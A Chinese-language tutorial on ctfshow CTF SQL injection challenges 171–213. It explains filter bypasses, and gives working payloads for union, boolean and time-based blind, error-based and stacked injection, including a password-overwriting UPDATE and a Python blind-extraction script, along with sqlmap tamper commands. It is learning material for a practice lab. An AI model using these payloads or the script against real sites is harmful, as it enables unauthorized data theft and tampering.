1. 先说清楚:这道题区间到底考什么
ctfshow的SQL注入题目从171到213,这一长串数字看起来是个大工程,但你要是真的顺着刷下来,会发现它其实是一条非常清晰的进阶路线。前面几道题还在考最基础的联合查询、报错注入,中间开始加入各种过滤和绕过,到后面基本上就是拿真实环境里的骚操作在虐你了。
很多人在刷到这一段的时候会出现一个很典型的状态:前面一两道题做得很顺,后面突然就卡住了,尤其是遇到空格被过滤、逗号被过滤、关键字被替换这种题,一下子不知道从哪里下手。我当初刷这段的时候也一样,最惨的一次是一道题卡了两个多小时,最后发现就是一个很简单的绕过姿势没转过弯来。
所以这篇文章我想换个角度,不按题号一道一道写writeup,而是把171到213这40多道题涉及的核心知识点拆开讲清楚,配合我实际做题时用到的payload和踩过的坑,给你一套能复用的解题思路。不管你是刚刷完前170道、正准备进入这个区间的新手,还是已经刷到一半、想回头整理思路的老手,这篇文章应该都能帮你把这块拼图补完整。
先说个总体的判断:这段题目的难度曲线是阶梯式上升的,不是平滑过渡。大概可以分成四个阶段——基础注入巩固、报错与盲注专项、过滤绕过的花样、以及综合型的堆叠注入和读写文件操作。每个阶段之间有明显的跳变,如果你感觉某道题突然变难了,大概率就是进入了下一个阶段。
2. 注入点识别与类型判断:做对后面的所有事
2.1 三步确认注入点的存在
不管题目怎么变,第一步永远是确认注入点。很多新手在这一步就翻车,是因为过于依赖工具或者经验,一上来直接丢sqlmap,跑半天没结果就慌了。我习惯的做法是先手工确认三个问题:参数是否可控、是否能影响SQL语句、以及回显是否可见。
拿最常见的GET型注入来举例,假设有个URL是这样的:
http://target.com/news.php?id=1第一步是改动参数值,看页面是否跟着变。把id改成2,如果页面内容变了,说明这个参数大概率是拼接进了SQL语句并影响到了查询结果;如果页面完全不变,那要么是静态页面,要么参数压根没被后端使用。
第二步是加一个单引号,观察报错或行为差异。
http://target.com/news.php?id=1'如果页面直接报SQL语法错误,或者在加引号前后页面呈现完全不同的形态(比如原来是正常内容,现在变成了空页面),那基本可以断定这里存在SQL注入。如果页面和原来一模一样,也别急着放弃,有可能后端做了转义,或者整型参数根本没有被引号包裹,单引号只是作为一个普通字符被处理了。
第三步是试试用运算表达式探测。
http://target.com/news.php?id=2-1如果页面内容和id=1时一样,那说明这个注入点很可能是数字型,参数值被直接用于运算后再拼入SQL。如果页面内容和id=2-1这个字面值对应的结果一致(比如直接当成字符串"2-1"去查询了),那就是字符型。
对ctfshow 171这道题前面的基础题目来说,这套流程基本能快速锁定注入点。有一道题我记得是用POST方式提交id,但判断逻辑一模一样,只是换了个传参位置,很多人被这个假象迷惑了。
2.2 判断列数与回显位置的几条经验
确认注入点后,接下来的标准动作是order by判断列数,然后union select找回显位。这个流程本身不难,但我总结几个非常关键的经验:
- order by的数字从1开始递增试探,直到报错为止。用单引号配合注释符时要小心,不同的数据库对注释符的支持不一样,MySQL里可以使用
--+或者#或者--%20,其中--+中的加号在URL里代表空格,如果你是在Burp Suite里直接改包而不是用浏览器访问,要注意URL编码的问题。 - 如果order by 3正常、order by 4报错,说明是三列。数字型注入不需要闭合引号,字符型注入需要在参数值后面先闭合掉前面的引号再接union。
- 回显位的确认,最稳妥的方法是把每一列都输出一遍特定标识数字。比如select 1,2,3,观察哪个位置出现了数字,那个位置就是可回显的。有些题目只有部分列回显到页面,其他列是盲的。
- ctfshow这个区间的早期题目有一个特点:直接给你无过滤环境,联查就完事了。但你不要只求做出题,扎实走完判断流程对后面的过滤题帮助巨大,因为后面所有的绕过思路都是建立在“我知道这里本来应该填什么”的基础上的。
3. 过滤绕过:这个区间的重头戏
过了基础题之后,从大概180多题开始,题目就变得有意思了。你会发现专门有一批题目在折腾你的绕过滤能力,各种你想得到想不到的关键字符都被ban了。这块我拆开细说。
3.1 空格被过滤时的三种替代方案
空格被过滤是ctfshow里非常经典的一个考点。你不能在SQL语句里写空格了,但这不代表没法拼出完整语句,思路就是找替代空格的字符。
在MySQL里面,注释符/**/可以直接替代空格,这是最常见也最稳定的方案。比如:
select/**/database()/**/from/**/information_schema.tables不需要额外说明,就是把所有空格换成/**/,语句照样能跑。
第二个替代方案是用括号。MySQL允许函数名和括号之间不加空格,查询条件也可以用括号来消除空格。比如用union注入时:
id=1'/**/union/**/select/**/1,2,3%23如果你后面遇到了空格和注释符同时被过滤的情况,那就得考虑用%09(Tab)、%0a(换行)这类URL编码字符来替代。这类控制字符在MySQL的语法解析里同样可以充当空白分隔符。实际做题时有时候不算特别稳定,但是确实有一些题目专门在考这个点。
这里有个非常关键的实操经验:很多题目是在后端直接用正则过滤你传入的字符串的,所以/*和*/如果分别被过滤了,你就没法用注释符。但是如果没有过滤注释里的内容,你甚至可以把payload本身作为注释的一部分传进去,让后端正则无法匹配,这个技巧在长payload的时候特别好用。
3.2 关键字过滤:大小写、双写、内联注释
关键字过滤是过滤题的另一大主力考法。常见的过滤列表大概包括select、union、where、from、information_schema这些。
第一种绕过思路是大小写混合。如果后端是直接做字符串包含判断并且用了区分大小写的方式(通常用正则的/i修饰符时会转为不区分,但很多自定义过滤函数返回的是php的stripos),那SeLeCt这种写法就能直接绕过。ctfshow这个区间有一部分题目就是这么设计的,给你过滤了,但过滤写得不严谨。
第二种思路是双写。原理非常巧妙:如果后端把select替换成空字符串并且只替换一次,那么你传selselectect,经过替换后剩下的正好是select。这是ctfshow里非常高频的考法,一路上会遇到好几道题。你只需要写一个简单的小脚本把payload里的关键词都重复一遍就能自动化解决。
第三种思路是利用MySQL的内联注释语法。MySQL支持一种特殊的可执行注释:
/*!50000select*//*!后面跟数字再跟SQL语句,这种形式的注释在MySQL里会被当作真实代码来执行,但在其他数据库里就是普通注释。用这个可以绕过一些简单的关键字匹配,因为中间的关键字被包裹在注释结构里,正则很难覆盖到所有情况。
还要提一下information_schema这个高频被过滤的词。ctfshow里很多题把这个表名过滤了,但其实MySQL里还有几个系统库也能查到类似信息,比如mysql.innodb_table_stats和sys.schema_auto_increment_columns。如果你在真实环境里做题,这几个表都是可用的备用方案。在ctfshow里,有一两道题你直接用sys.schema_auto_increment_columns就能拿到表名,但很多人只知道information_schema,卡在那里出不来。
3.3 逗号与等号过滤的高阶玩法
逗号被过滤是最让人头疼的情况之一。union select的列之间需要逗号,limit参数需要逗号,substr函数的参数需要逗号。你没法写逗号,就得想别的办法。
union注入里逗号被过滤时,可以用join语法来代替列的罗列:
select 1 union select * from (select 1)a join (select 2)b join (select 3)c这样就不需要逗号了。这个写法在ctfshow的某道题里有奇效。
另外substr函数的逗号被过滤,也有替代方案。用substr的语法substr(str from 1 for 1)这种写法,也就是用from和for关键字来替代逗号,非常实用:
substr((select database()) from 1 for 1)等号被过滤的题我印象里也遇到过。比如where id=1这种没法写等号的情况,可以用where id like 1或者where id in(1)来代替。有些场景下还可以用大于小于号来构造范围,只要你能找到等价条件就行。
4. 盲注的两种形态:布尔与时间的实战取舍
4.1 怎样快速判断一道题是不是盲注
当你执行union select后页面没有任何变化,说明当前注入点很可能不返回查询结果给页面。这时候就需要盲注了。ctfshow这个区间的盲注题算是比较友好的,因为每道题的过滤环境都很明确,你很容易判断用布尔还是时间。
先看一个最直观的判断方法:传一个会改变布尔结果的payload,如果页面出现不同的渲染结果(真值页面有内容,假值页面是空或者只有固定文案),那就是布尔盲注,可以用二分法逐步跑数据。如果无论真假页面都完全一样,那就得用时间盲注,通过sleep函数延时来制造可观测的差异。
布尔盲注的核心是逻辑判断和条件构造。比如判断当前数据库名的第一个字符是不是a:
id=1' and if(substr(database(),1,1)='a',1,0)%23如果页面正常,说明第一个字符确实是a。这类判断逐位跑下去就能拼出所有数据。速度上,建议写脚本跑而不要手工猜,因为几十位字符手工猜是撑不住的。
4.2 写一个简单的自动化判断脚本
相比手工会快得多。我参考之前解题时用过的思路,写了个非常简单的Python逻辑框架,流程是这样的:
import requests url = "http://target.com/query.php" chars = "abcdefghijklmnopqrstuvwxyz0123456789_,.-@" def test(payload): data = {"id": payload} res = requests.post(url, data=data) return "某个成功标记" in res.text result = "" for i in range(1, 50): for c in chars: payload = f"1' and ascii(substr((select database()),{i},1))={ord(c)}%23" if test(payload): result += c break else: break print(result)实际使用时,要按照页面的成功标记来调整判断函数。如果你判断的条件里用了ascii()函数和等于号,而题目过滤了等号,就要换成like或者用大于小于的二分比较法来绕过,这个点很关键。
时间盲注相对烦一些,因为它需要等延迟。一个比较稳的写法是:
id=1' and if(ascii(substr(database(),1,1))=97,sleep(3),0)%23执行正常情况下会等待3秒才返回页面,异常情况下瞬间返回。但你在脚本里要根据响应时间设置阈值,比如超过2秒算真、否则算假。这里有个特别容易踩的坑:如果你把sleep(3)写在if条件为真时,而网速本身很慢,可能会导致误判。建议在脚本里分别请求一次已知真值和已知假值,先校准好阈值再开始跑数据。
4.3 盲注脚本里的几个不常见但有效的加速技巧
盲注跑起来很慢,尤其是时间盲注,一秒一秒地熬。我总结过几个优化方式:
- 用二分法而不是逐字符穷举。确定一个字符的ASCII范围后,用二分查找可以大幅减少请求次数。
- 把多个字符的bit位一次判断出来。通过ord函数转换成数字后,对每一位bit值单独判断,一个字符只需要8次请求,比50个候选字符一个个试要快得多。
- 如果后端支持多语句或者可以拼接多个if判断,可以考虑在一次请求里同时判断多个位置。这个技巧在真实环境中不太容易扩展,但在ctfshow里部分题目完全没有限制,可以用来加速。
不过实话实说,ctfshow这个区间多数盲注题目本身的数据量就不大,表名库名的字符数量有限,程序跑个十几秒就出结果了。你真正需要的不是赛跑,而是写脚本时逻辑不要出错,不然前功尽弃。
5. 报错注入与堆叠注入实战思路
5.1 updatexml和extractvalue的原理与细节
报错注入在ctfshow这个区间占据了相当大的比重。它的原理很简单:让数据库在计算过程中触发一个语法或函数错误,错误信息被直接输出到页面,而这些错误信息里包含我们想要的数据。MySQL中最常用的两个函数是updatexml和extractvalue。
updatexml的用法是接收三个参数,第二个参数要求是合法的XPath路径,如果传入的数据不符合XPath格式,MySQL就会爆出错误,错误信息中包含你传参的内容。利用方式如下:
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23这里的0x7e是波浪号~的十六进制表示,作用是让XPath报错时信息和正常文本明显区分开。concat把数据库名和波浪号拼接成一个整体,由于波浪号不是合法XPath字符,会在报错信息里原样返回。
extractvalue的用法和updatexml类似,只是参数位置不同:
id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))%23报错注入最大的好处是不需要回显位,只要页面上能显示报错信息,你就能直接把数据取出来。ctfshow在很多过滤题里有意保留报错输出,就是为了让解题者用这个方式。
这里有几个容易踩的坑。第一个是concat出的结果如果超出32个字符,MySQL会截断报错信息,导致拿到的数据不全,解决办法是把数据分段提取,比如用substr每次取30个字符。第二个是有些题目会把updatexml和extractvalue直接过滤掉,这时候就需要从其他报错触发点想办法,比如exp()函数,利用数学溢出报错,不过它对版本有要求,5.5.5以上通常可用。还有floor(rand(0)*2)配合group by触发主键冲突报错的经典方式,但语法相对复杂:
id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23这种payload会报主键重复的错误,错误内容就是我们拼进去的数据。应对思路就是把能试的报错函数轮流试一遍,谁让页面动了就用谁。
5.2 堆叠注入的含义与CTF环境下的特殊价值
堆叠注入指的是在同一连接中执行多条SQL语句,通常用分号来分割。它在真实Web渗透中遇到的概率不算特别高,因为很多数据库驱动和中间件默认不允许多语句执行。但CTF里这是一个常驻考点,尤其是ctfshow的后期题,几乎每道都在问你“能不能同时跑两条以上语句”。
检测是否支持堆叠注入的方法很简单:在原参数后面加分号加一条新语句,观察页面表现。
id=1';select 1%23如果页面在原本查询结果后面出现了额外的内容或者产生了和之前不同的行为,就说明支持堆叠执行。但实际上很多堆叠注入的题目页面不会把第二条语句的结果显示出来,它只是让第二条语句在数据库里执行了而已。
这个特性在CTF里的价值非常大,尤其是配合修改数据或文件操作。比如:
id=1';update users set password='123456' where id=1%23你没法查看数据,但你可以改数据,然后通过正常的业务逻辑来验证修改是否生效。ctfshow有几道题考的就是这个思路——通过堆叠注入修改管理员密码,然后登录后台。
还有一类考法是堆叠注入配合预处理语句来绕过对select的过滤:
id=1';set @sql=concat('sel','ect database()');prepare stmt from @sql;execute stmt;%23动态拼接SQL字符串再执行,这招在处理大量关键字过滤的堆叠注入题目时非常有效。
6. 工具辅助与手工验证的取舍
6.1 sqlmap在过滤题上到底能不能用、怎么用
说到SQL注入,sqlmap几乎是绕不开的工具。但在ctfshow的过滤题里,直接默认参数跑往往效果很差,原因很简单:题目故意设置的过滤规则会拦掉sqlmap默认生成的payload。
不过sqlmap并不是不能用,它提供了tamper参数来加载绕过脚本,把要绕过的特性交给脚本去处理,比如空格被过滤可以用space2comment脚本、关键字被过滤可以用doubleup脚本、特殊字符用charencode等。
我当时遇到一道过滤空格和多关键字的题,用的是这样的命令格式:
sqlmap -u "http://target.com/query.php?id=1" --tamper=space2comment --batch --dbs执行时sqlmap会先尝试注入标准payload,如果被过滤导致返回异常,它会自动套用tamper脚本里的变换规则,把请求体改写成绕过之后的形态。实测下来,对一些只过滤了固定字符串的题非常管用。
但要提醒一个观点:ctfshow的过滤题,不建议一上来就跑sqlmap。原因有两点。第一,题目的过滤方式可能很刁钻,比如只过滤了select而不过滤别名、或者只过滤了information_schema而其他系统表没过滤,这种场景sqlmap的全自动检测反而容易混乱。第二,手工绕一次能让你真正理解过滤的边界在哪里,而工具跑出来你什么都没学到。我建议的做法是:先手工确认注入点和基本绕过方案,再决定要不要用sqlmap去辅助拉数据。
6.2 手工与工具配合时的两条重要经验
经验一:sqlmap跑不出结果时,先检查URL编码和请求头。ctfshow的很多题目对UA头或者Referer头有要求,甚至有的会校验Cookie,sqlmap默认的请求头有时候会被后端拒绝。用--headers参数补齐请求头经常能解决这个问题。
经验二:手工构造的payload先放在Burp Suite里验证再交给脚本。你不要直接拿一个没验证过的思路去写自动化脚本,那样排错会很痛苦。最稳的做法是:先在Burp里手工发送请求,确认payload能够生效,再把完整的请求格式搬到脚本或者工具里批量执行。
7. 常见问题与排查技巧实录
题目刷多了以后,你会发现反复踩的坑其实就那么几个。我整理了一份基于常见情况的问题排查表,按严重程度排了个序:
| 现象 | 可能原因 | 排查方向 |
|---|---|---|
| payload在Burp里能用,浏览器里不行 | URL编码问题,特殊字符被浏览器转换 | 在Burp里改包发送,不要用浏览器直接访问拼接后的URL |
| 页面一直返回500 | 注释符没生效或引号没有闭合 | 检查是否使用了#但在URL中没有编码成%23,检查单引号闭合位置 |
| sqlmap跑很久没有结果 | 过滤规则或自定义WAF干扰 | 先用Burp手工确认存在注入,再考虑调整tamper |
| 报错注入看不到报错信息 | 函数被过滤或报错被统一处理 | 尝试其他报错函数,用堆叠注入预处理绕过 |
| 盲注脚本判断全部为假 | 条件比较方式错了,比如等号被过滤 | 把条件改用like或二分法比较 |
| updatexml返回数据不全 | 报错信息被截断 | 用substr分段取数据,每次不超过30个字符 |
| 双写绕过失效 | 过滤系统可能做了二次替换 | 尝试大小写混合,或内联注释/*!50000select*/ |
| 堆叠注入不生效 | 后端/数据库驱动禁止多语句执行 | 检查能不能用预处理语句,实在不行放弃堆叠思路 |
再补充几个容易出问题的细节。
第一,在MySQL 8.0的环境下,select的解析顺序和5.7有一些差异,尤其是涉及group by和limit的时候,payload的写法可能会稍有不同。ctfshow搭建的靶场多数还是5.x版本,但如果你在自己本地环境测试时发现payload不报错,要想到环境版本差异的可能。
第二,关于information_schema.tables里的table_schema字段,如果拿到的是一个十六进制或者编码后的库名,记得转回明文。有些题目的库名带了特殊字符,比如单引号,就会导致你后续拼接payload失败。
第三,注意请求的频率。时间盲注每来一次sleep,等待时间会拉长整体做题时间,建议脚本里做好超时控制,不要让某些断连状态卡住整个循环。
8. 从171到213刷完,我总结的几条做题心法
这段题刷完之后,我最大的感受是:SQL注入的知识点虽然多,但终归是围绕那么几个核心问题的排列组合——参数怎么传递、数据怎么截取、条件怎么判断、输出怎么获取。ctfshow这个题区间的价值在于,它把每个知识点都单独拆出来出了一组题,让你被迫把每种手法都练到肌肉记忆。
我给后面刷这段题的人几个建议:
第一,不要只追求做出题。ctfshow的题目允许你做出来之后再看其他人的writeup,但就算做出来了,也要试着想想这道题的过滤规则还能怎么破,有没有第二种、第三种解法。我至少遇到过三题,网上主流的解法和我的解法完全不同,但都对。
第二,把常用的payload写进自己的备忘录里。你不需要记住每一个payload的每一个字符,但你需要记住“什么场景下用什么思路”,比如遇到空格过滤就想到注释符和换行符,遇到逗号过滤就想到join和from-for写法,遇到关键字过滤就想到双写和内联注释。思路在线,临时查语法都来得及。
第三,多写脚本。手工注入练的是手感,脚本注入练的是系统性思维。你写脚本时会逼自己去理解每一步请求的格式、判断条件和循环逻辑,这个理解过程比刷十道题都有用。
最后再分享一个我做这整段题目时的小习惯:每道题做完后,我会在本地记录三样东西——注入类型、过滤规则、最终payload。刷到后面你会发现,同一个类型的题反复出现时,翻一下自己之前的记录,一分钟就能回到状态。这个习惯帮我省下了大量重复摸索的时间,你如果正卡在这个区间,可以试试。